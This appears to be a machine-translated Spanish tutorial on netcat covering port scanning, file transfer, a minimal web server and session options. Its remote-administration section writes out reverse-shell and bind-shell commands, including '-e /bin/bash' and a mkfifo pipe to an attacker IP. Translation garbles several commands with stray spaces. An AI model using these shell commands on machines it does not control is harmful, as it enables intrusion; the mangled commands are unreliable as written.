NetCat

Netcat uso profesional de la navaja suiza

Netcat uso profesional de la navaja suiza
Netcat es una utilidad que se utiliza para leer y escribir datos a través de puertos TCP y UDP. Se puede usar para muchas cosas interesantes como transferencia de archivos, escaneo de puertos, redireccionamiento de puertos, puerta trasera de la PC de otra persona, hacer un programa de chat simple, para solucionar problemas de red y más, por eso se conoce como navaja suiza. También viene preinstalado con casi todas las distribuciones de Linux hoy en día y es utilizado principalmente por administradores de red, DevOps e ingenieros de seguridad para sus pequeñas tareas diarias.

Una breve diferencia entre netcat-traditional y netcat-openbsd

Hay dos paquetes similares disponibles para netcat con una ligera diferencia entre ellos.

netcat-tradicional incluye una opción '-e' adicional que se puede utilizar para vincular un programa (i.e bash) con netcat. Esta función es muy útil para fines de administración remota.

netcat-openbsd tener algo de soporte adicional para IPv6 y proxies.

Instalación de Netcat

Aunque netcat viene preinstalado en la mayoría de las distribuciones de Linux, si no es así, se puede instalar fácilmente usando los siguientes comandos.

Para paquete tradicional,

[correo electrónico protegido]: ~ $ sudo apt-get install netcat-traditional

Para la versión openbsd,

[correo electrónico protegido]: ~ $ sudo apt-get install netcat-openbsd

Netcat para Windows se puede descargar desde aquí https: // sourceforge.net / proyectos / nc110 / archivos /.

Ahora exploraremos algunos casos de uso interesantes de netcat

Escaneo de puertos usando netcat

Para buscar puertos abiertos, use la opción '-z'. Netcat intentará conectarse a todos los puertos sin enviar ningún dato o datos muy limitados en el caso de UDP. Escriba lo siguiente

[correo electrónico protegido]: ~ $ nc -z -v hackme.org 80
... recortar ..
hackéame.org [217.78.1.155] 80 (http) abierto

Para buscar un rango de puertos, escriba

[correo electrónico protegido]: ~ $ nc -z -nv 192.168.100.72 20-80
(DESCONOCIDO) [192.168.100.72] 80 (http) abierto
(DESCONOCIDO) [192.168.100.72] 22 (ssh) abierto

Transferencia de archivos con netcat

Otro caso de uso útil de netcat es la transferencia de archivos entre computadoras remotas. Puede enviar textos y archivos binarios de una PC a otra PC. Intentaremos enviar un archivo "archivo.pdf ”desde una PC con Linux a una PC con Windows [IP 192.168.100.72] usando netcat como ejemplo.

En la máquina con Windows (receptor), escriba lo siguiente

C: \ Usuarios> nc -nvlp 1337> archivo.pdf
Escuchando en [0.0.0.0] (familia 2, puerto 1337)

En la máquina Linux (remitente), escriba lo siguiente

[correo electrónico protegido]: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Conexión a 192.168.100.72 El puerto 1337 [tcp / *] se realizó correctamente!

Administración remota con netcat

Uno de los mejores casos de uso de netcat es la administración remota, lo que significa que puede controlar la PC de otra persona utilizando netcat. Netcat-traditional viene con la opción '-e' que se puede usar para vincular un programa (i.e cmd.exe en Windows o bash en Linux) con un puerto, eso significa que netcat actuará como comunicador entre el programa y la PC remota. Netcat recibirá comandos de la PC remota, se ejecutará en el sistema local y enviará los resultados a la PC remota. Esta función se usa ampliamente con fines maliciosos, para mantener puertas traseras en PC y servidores. Esta función solo está disponible en netcat-traditional pero con un pequeño truco, netcat-openbsd también se puede utilizar para el mismo propósito. Puede utilizar dos formas de controlar la PC de otros.

en un Concha inversa conexión, un atacante escucha en un puerto y espera que se envíe una conexión desde la máquina víctima. Se utiliza cuando la computadora de la víctima está detrás de NAT o no tiene IP pública.

Para obtener un shell inverso usando netcat, necesita escuchar en un puerto usando netcat. Escriba lo siguiente en la máquina del atacante,

[correo electrónico protegido]: ~ $ nc -nvlp 1337
Escuchando en [0.0.0.0] (familia 2, puerto 1337)

En la máquina víctima (si netcat-tradicional esta instalado)

// reemplaza "/ bin / bash" por "cmd.exe ”en el caso de Windows

[correo electrónico protegido]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bash

Para netcat-openbsd (donde la opción "-e" no es compatible)

[correo electrónico protegido]: ~ $ rm / tmp / f; mkfifo / tmp / f; cat
/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f

Mientras en un Enlazar Shell conexión, el atacante enlaza un puerto en la máquina víctima y se conecta a ese puerto usando el socket del cliente. Se utiliza cuando la máquina del atacante está detrás de NAT o no tiene una IP pública.

En la máquina víctima, escriba

[correo electrónico protegido]: ~ $ nc -nlvp 1337 -e / bin / bash
escuchando en [cualquier] 1337 ..

Ahora, para ejecutar comandos en la máquina víctima, escriba

[correo electrónico protegido]: ~ $ nc -nv 127.0.0.1 1337
Conexión a 127.0.0.1 puerto 1337 [tcp / *] realizado correctamente!
$ id
uid = 1000 (azad) gid = 1000 (azad) grupos = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (inmersión), 46 (plugdev), 118 (lpadmin), 129 (sambashare)

Servidor web simple usando netcat

También puede hacer otro truco simple para usar netcat como servidor web mínimo de una sola página. Este servidor web sería muy simple sin configuraciones especiales, y usaremos para enviar nuestro código HTML al navegador.

[correo electrónico protegido]: ~ $ mientras sea verdadero; hacer echo -e "HTTP / 1.1200 OK \ n \ n $ (echo "


Mi servidor web simple usando netcat

")" | nc -nvlp 1337; hecho
Escuchando en [0.0.0.0] (familia 2, puerto 1337)

Ahora, intente obtener la página web usando curl

[correo electrónico protegido]: ~ $ curl http: // 127.0.0.1: 1337 /

Mi servidor web simple usando netcat

Especificar tiempo de espera para una sesión de netcat

Puede especificar el tiempo de espera para una sesión de netcat mediante la opción "-w". Netcat desconectará automáticamente su sesión después de que pase el tiempo especificado.

// -w [Tiempo en segundos]
[correo electrónico protegido]: ~ $ nc -w 40 -nvlp 1337
Escuchando en [0.0.0.0] (familia 2, puerto 1234)

Continuar escuchando incluso si el cliente cierra la conexión

En modo normal, el servidor netcat se apaga y deja de escuchar en el puerto cuando un cliente cierra la conexión. Puede mantener el servidor con la opción "-k"

[correo electrónico protegido]: ~ $ nc -k -nlvp 1234
Escuchando en [0.0.0.0] (familia 2, puerto 1234)

Conclusión

Netcat es una utilidad simple pero eficiente que se puede usar para muchas tareas diarias simples. Viene preinstalado en casi todos los sistemas operativos tipo UNIX y se puede utilizar para diversas tareas como la comunicación entre dos PC, la transferencia de archivos y muchas más.

Cómo usar GameConqueror Cheat Engine en Linux
El artículo cubre una guía sobre el uso del motor de trucos GameConqueror en Linux. Muchos usuarios que juegan juegos en Windows a menudo usan la apli...
Los mejores emuladores de consola de juegos para Linux
Este artículo enumerará el software de emulación de consola de juegos más popular disponible para Linux. La emulación es una capa de compatibilidad de...
Las mejores distribuciones de Linux para juegos en 2021
El sistema operativo Linux ha recorrido un largo camino desde su apariencia original, simple y basada en servidor. Este sistema operativo ha mejorado ...